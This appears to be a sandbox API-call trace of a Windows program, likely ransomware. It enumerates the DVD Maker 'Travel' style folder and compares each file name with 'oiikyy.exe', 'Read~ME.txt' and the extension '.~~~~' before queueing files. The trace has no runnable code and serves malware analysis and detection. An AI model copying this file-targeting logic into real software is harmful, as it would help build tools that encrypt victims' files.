	[0082.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0082.191] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.191] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.191] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.192] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.192] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.192] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0082.205] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.205] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.205] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.205] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.205] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.205] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.205] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x2, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0082.205] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="Windows") returned -1
	[0082.205] lstrcmpW (lpString1="16_9-frame-background.png", lpString2="oiikyy.exe") returned -1
	[0082.205] StrStrW (lpFirst="16_9-frame-background.png", lpSrch=".~~~~") returned 0x0
	[0082.205] lstrcmpW (lpString1="16_9-frame-background.png", lpString2="Read~ME.txt") returned -1
	[0082.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bf08
	[0082.205] GetCurrentThreadId () returned 0x618
	[0082.206] RtlWakeConditionVariable () returned 0x365f48
	[0082.206] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x2, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0082.206] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="Windows") returned -1
	[0082.206] lstrcmpW (lpString1="16_9-frame-highlight.png", lpString2="oiikyy.exe") returned -1
	[0082.206] StrStrW (lpFirst="16_9-frame-highlight.png", lpSrch=".~~~~") returned 0x0
	[0082.206] lstrcmpW (lpString1="16_9-frame-highlight.png", lpString2="Read~ME.txt") returned -1
	[0082.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.206] GetCurrentThreadId () returned 0x618
	[0082.206] RtlWakeConditionVariable () returned 0x365f48
	[0082.206] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x2, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1
	[0082.206] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="Windows") returned -1
	[0082.206] lstrcmpW (lpString1="16_9-frame-image-inset.png", lpString2="oiikyy.exe") returned -1
	[0082.206] StrStrW (lpFirst="16_9-frame-image-inset.png", lpSrch=".~~~~") returned 0x0
	[0082.206] lstrcmpW (lpString1="16_9-frame-image-inset.png", lpString2="Read~ME.txt") returned -1
	[0082.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bf08
	[0082.206] GetCurrentThreadId () returned 0x618
	[0082.206] RtlWakeConditionVariable () returned 0x365f48
	[0082.206] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x2, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0082.206] lstrcmpiW (lpString1="btn-back-static.png", lpString2="Windows") returned -1
	[0082.206] lstrcmpW (lpString1="btn-back-static.png", lpString2="oiikyy.exe") returned -1
	[0082.206] StrStrW (lpFirst="btn-back-static.png", lpSrch=".~~~~") returned 0x0
	[0082.206] lstrcmpW (lpString1="btn-back-static.png", lpString2="Read~ME.txt") returned -1
	[0082.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.206] GetCurrentThreadId () returned 0x618
	[0082.207] RtlWakeConditionVariable () returned 0x365f48
	[0082.207] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x2, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0082.207] lstrcmpiW (lpString1="btn-next-static.png", lpString2="Windows") returned -1
	[0082.207] lstrcmpW (lpString1="btn-next-static.png", lpString2="oiikyy.exe") returned -1
	[0082.207] StrStrW (lpFirst="btn-next-static.png", lpSrch=".~~~~") returned 0x0
	[0082.207] lstrcmpW (lpString1="btn-next-static.png", lpString2="Read~ME.txt") returned -1
	[0082.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.207] GetCurrentThreadId () returned 0x618
	[0082.207] RtlWakeConditionVariable () returned 0x365f48
	[0082.207] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x2, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0082.207] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="Windows") returned -1
	[0082.207] lstrcmpW (lpString1="btn-previous-static.png", lpString2="oiikyy.exe") returned -1
	[0082.207] StrStrW (lpFirst="btn-previous-static.png", lpSrch=".~~~~") returned 0x0
	[0082.207] lstrcmpW (lpString1="btn-previous-static.png", lpString2="Read~ME.txt") returned -1
	[0082.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.207] GetCurrentThreadId () returned 0x618
	[0082.207] RtlWakeConditionVariable () returned 0x365f48
	[0082.207] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x2, cFileName="button-bullet.png", cAlternateFileName="")) returned 1
	[0082.207] lstrcmpiW (lpString1="button-bullet.png", lpString2="Windows") returned -1
	[0082.207] lstrcmpW (lpString1="button-bullet.png", lpString2="oiikyy.exe") returned -1
	[0082.207] StrStrW (lpFirst="button-bullet.png", lpSrch=".~~~~") returned 0x0
	[0082.207] lstrcmpW (lpString1="button-bullet.png", lpString2="Read~ME.txt") returned -1
	[0082.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.207] GetCurrentThreadId () returned 0x618
	[0082.207] RtlWakeConditionVariable () returned 0x365f48
	[0082.207] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x2, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0082.208] lstrcmpiW (lpString1="button-highlight.png", lpString2="Windows") returned -1
	[0082.208] lstrcmpW (lpString1="button-highlight.png", lpString2="oiikyy.exe") returned -1
	[0082.208] StrStrW (lpFirst="button-highlight.png", lpSrch=".~~~~") returned 0x0
	[0082.208] lstrcmpW (lpString1="button-highlight.png", lpString2="Read~ME.txt") returned -1
	[0082.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.208] GetCurrentThreadId () returned 0x618
	[0082.208] RtlWakeConditionVariable () returned 0x365f48
	[0082.208] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x2, cFileName="content-background.png", cAlternateFileName="")) returned 1
	[0082.208] lstrcmpiW (lpString1="content-background.png", lpString2="Windows") returned -1
	[0082.208] lstrcmpW (lpString1="content-background.png", lpString2="oiikyy.exe") returned -1
	[0082.208] StrStrW (lpFirst="content-background.png", lpSrch=".~~~~") returned 0x0
	[0082.208] lstrcmpW (lpString1="content-background.png", lpString2="Read~ME.txt") returned -1
	[0082.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.208] GetCurrentThreadId () returned 0x618
	[0082.208] RtlWakeConditionVariable () returned 0x365f48
	[0082.208] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x2, cFileName="header-background.png", cAlternateFileName="")) returned 1
	[0082.208] lstrcmpiW (lpString1="header-background.png", lpString2="Windows") returned -1
	[0082.208] lstrcmpW (lpString1="header-background.png", lpString2="oiikyy.exe") returned -1
	[0082.208] StrStrW (lpFirst="header-background.png", lpSrch=".~~~~") returned 0x0
	[0082.208] lstrcmpW (lpString1="header-background.png", lpString2="Read~ME.txt") returned -1
	[0082.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.208] GetCurrentThreadId () returned 0x618
	[0082.208] RtlWakeConditionVariable () returned 0x365f48
	[0082.208] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x2, cFileName="passport.png", cAlternateFileName="")) returned 1
	[0082.209] lstrcmpiW (lpString1="passport.png", lpString2="Windows") returned -1
	[0082.209] lstrcmpW (lpString1="passport.png", lpString2="oiikyy.exe") returned 1
	[0082.209] StrStrW (lpFirst="passport.png", lpSrch=".~~~~") returned 0x0
	[0082.209] lstrcmpW (lpString1="passport.png", lpString2="Read~ME.txt") returned -1
	[0082.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.209] GetCurrentThreadId () returned 0x618
	[0082.209] RtlWakeConditionVariable () returned 0x365f48
	[0082.209] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x2, cFileName="Passport.wmv", cAlternateFileName="")) returned 1
	[0082.209] lstrcmpiW (lpString1="Passport.wmv", lpString2="Windows") returned -1
	[0082.209] lstrcmpW (lpString1="Passport.wmv", lpString2="oiikyy.exe") returned 1
	[0082.209] StrStrW (lpFirst="Passport.wmv", lpSrch=".~~~~") returned 0x0
	[0082.209] lstrcmpW (lpString1="Passport.wmv", lpString2="Read~ME.txt") returned -1
	[0082.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.209] GetCurrentThreadId () returned 0x618
	[0082.209] RtlWakeConditionVariable () returned 0x365f48
	[0082.209] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x2, cFileName="passportcover.png", cAlternateFileName="")) returned 1
	[0082.209] lstrcmpiW (lpString1="passportcover.png", lpString2="Windows") returned -1
	[0082.209] lstrcmpW (lpString1="passportcover.png", lpString2="oiikyy.exe") returned 1
	[0082.209] StrStrW (lpFirst="passportcover.png", lpSrch=".~~~~") returned 0x0
	[0082.209] lstrcmpW (lpString1="passportcover.png", lpString2="Read~ME.txt") returned -1
	[0082.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.209] GetCurrentThreadId () returned 0x618
	[0082.209] RtlWakeConditionVariable () returned 0x365f48
	[0082.209] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x2, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1
	[0082.209] lstrcmpiW (lpString1="PassportMask.wmv", lpString2="Windows") returned -1
	[0082.210] lstrcmpW (lpString1="PassportMask.wmv", lpString2="oiikyy.exe") returned 1
	[0082.210] StrStrW (lpFirst="PassportMask.wmv", lpSrch=".~~~~") returned 0x0
	[0082.210] lstrcmpW (lpString1="PassportMask.wmv", lpString2="Read~ME.txt") returned -1
	[0082.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.210] GetCurrentThreadId () returned 0x618
	[0082.210] RtlWakeConditionVariable () returned 0x365f48
	[0082.210] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x2, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1
	[0082.210] lstrcmpiW (lpString1="PassportMask_PAL.wmv", lpString2="Windows") returned -1
	[0082.210] lstrcmpW (lpString1="PassportMask_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0082.210] StrStrW (lpFirst="PassportMask_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0082.210] lstrcmpW (lpString1="PassportMask_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0082.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.210] GetCurrentThreadId () returned 0x618
	[0082.210] RtlWakeConditionVariable () returned 0x365f48
	[0082.210] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x2, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1
	[0082.210] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="Windows") returned -1
	[0082.210] lstrcmpW (lpString1="passport_mask_left.png", lpString2="oiikyy.exe") returned 1
	[0082.210] StrStrW (lpFirst="passport_mask_left.png", lpSrch=".~~~~") returned 0x0
	[0082.210] lstrcmpW (lpString1="passport_mask_left.png", lpString2="Read~ME.txt") returned -1
	[0082.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.210] GetCurrentThreadId () returned 0x618
	[0082.210] RtlWakeConditionVariable () returned 0x365f48
	[0082.210] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x2, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1
	[0082.210] lstrcmpiW (lpString1="passport_mask_right.png", lpString2="Windows") returned -1
	[0082.211] lstrcmpW (lpString1="passport_mask_right.png", lpString2="oiikyy.exe") returned 1
	[0082.211] StrStrW (lpFirst="passport_mask_right.png", lpSrch=".~~~~") returned 0x0
	[0082.211] lstrcmpW (lpString1="passport_mask_right.png", lpString2="Read~ME.txt") returned -1
	[0082.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.211] GetCurrentThreadId () returned 0x618
	[0082.211] RtlWakeConditionVariable () returned 0x365f48
	[0082.211] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x2, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1
	[0082.211] lstrcmpiW (lpString1="Passport_PAL.wmv", lpString2="Windows") returned -1
	[0082.211] lstrcmpW (lpString1="Passport_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0082.211] StrStrW (lpFirst="Passport_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0082.211] lstrcmpW (lpString1="Passport_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0082.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.211] GetCurrentThreadId () returned 0x618
	[0082.211] RtlWakeConditionVariable () returned 0x365f48
	[0082.211] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x2, cFileName="play-background.png", cAlternateFileName="")) returned 1
	[0082.211] lstrcmpiW (lpString1="play-background.png", lpString2="Windows") returned -1
	[0082.211] lstrcmpW (lpString1="play-background.png", lpString2="oiikyy.exe") returned 1
	[0082.211] StrStrW (lpFirst="play-background.png", lpSrch=".~~~~") returned 0x0
	[0082.211] lstrcmpW (lpString1="play-background.png", lpString2="Read~ME.txt") returned -1
	[0082.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.211] GetCurrentThreadId () returned 0x618
	[0082.211] RtlWakeConditionVariable () returned 0x365f48
	[0082.211] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x2, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1
	[0082.211] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="Windows") returned -1
	[0082.211] lstrcmpW (lpString1="selection_subpicture.png", lpString2="oiikyy.exe") returned 1
	[0082.212] StrStrW (lpFirst="selection_subpicture.png", lpSrch=".~~~~") returned 0x0
	[0082.212] lstrcmpW (lpString1="selection_subpicture.png", lpString2="Read~ME.txt") returned 1
	[0082.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.212] GetCurrentThreadId () returned 0x618
	[0082.212] RtlWakeConditionVariable () returned 0x365f48
	[0082.212] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x2, cFileName="travel.png", cAlternateFileName="")) returned 1
	[0082.212] lstrcmpiW (lpString1="travel.png", lpString2="Windows") returned -1
	[0082.212] lstrcmpW (lpString1="travel.png", lpString2="oiikyy.exe") returned 1
	[0082.212] StrStrW (lpFirst="travel.png", lpSrch=".~~~~") returned 0x0
	[0082.212] lstrcmpW (lpString1="travel.png", lpString2="Read~ME.txt") returned 1
	[0082.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.212] GetCurrentThreadId () returned 0x618
	[0082.212] RtlWakeConditionVariable () returned 0x365f48
	[0082.212] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x2, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1
	[0082.212] lstrcmpiW (lpString1="TravelIntroToMain.wmv", lpString2="Windows") returned -1
	[0082.212] lstrcmpW (lpString1="TravelIntroToMain.wmv", lpString2="oiikyy.exe") returned 1
	[0082.212] StrStrW (lpFirst="TravelIntroToMain.wmv", lpSrch=".~~~~") returned 0x0
	[0082.212] lstrcmpW (lpString1="TravelIntroToMain.wmv", lpString2="Read~ME.txt") returned 1
	[0082.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.212] GetCurrentThreadId () returned 0x618
	[0082.212] RtlWakeConditionVariable () returned 0x365f48
	[0082.212] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x2, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1
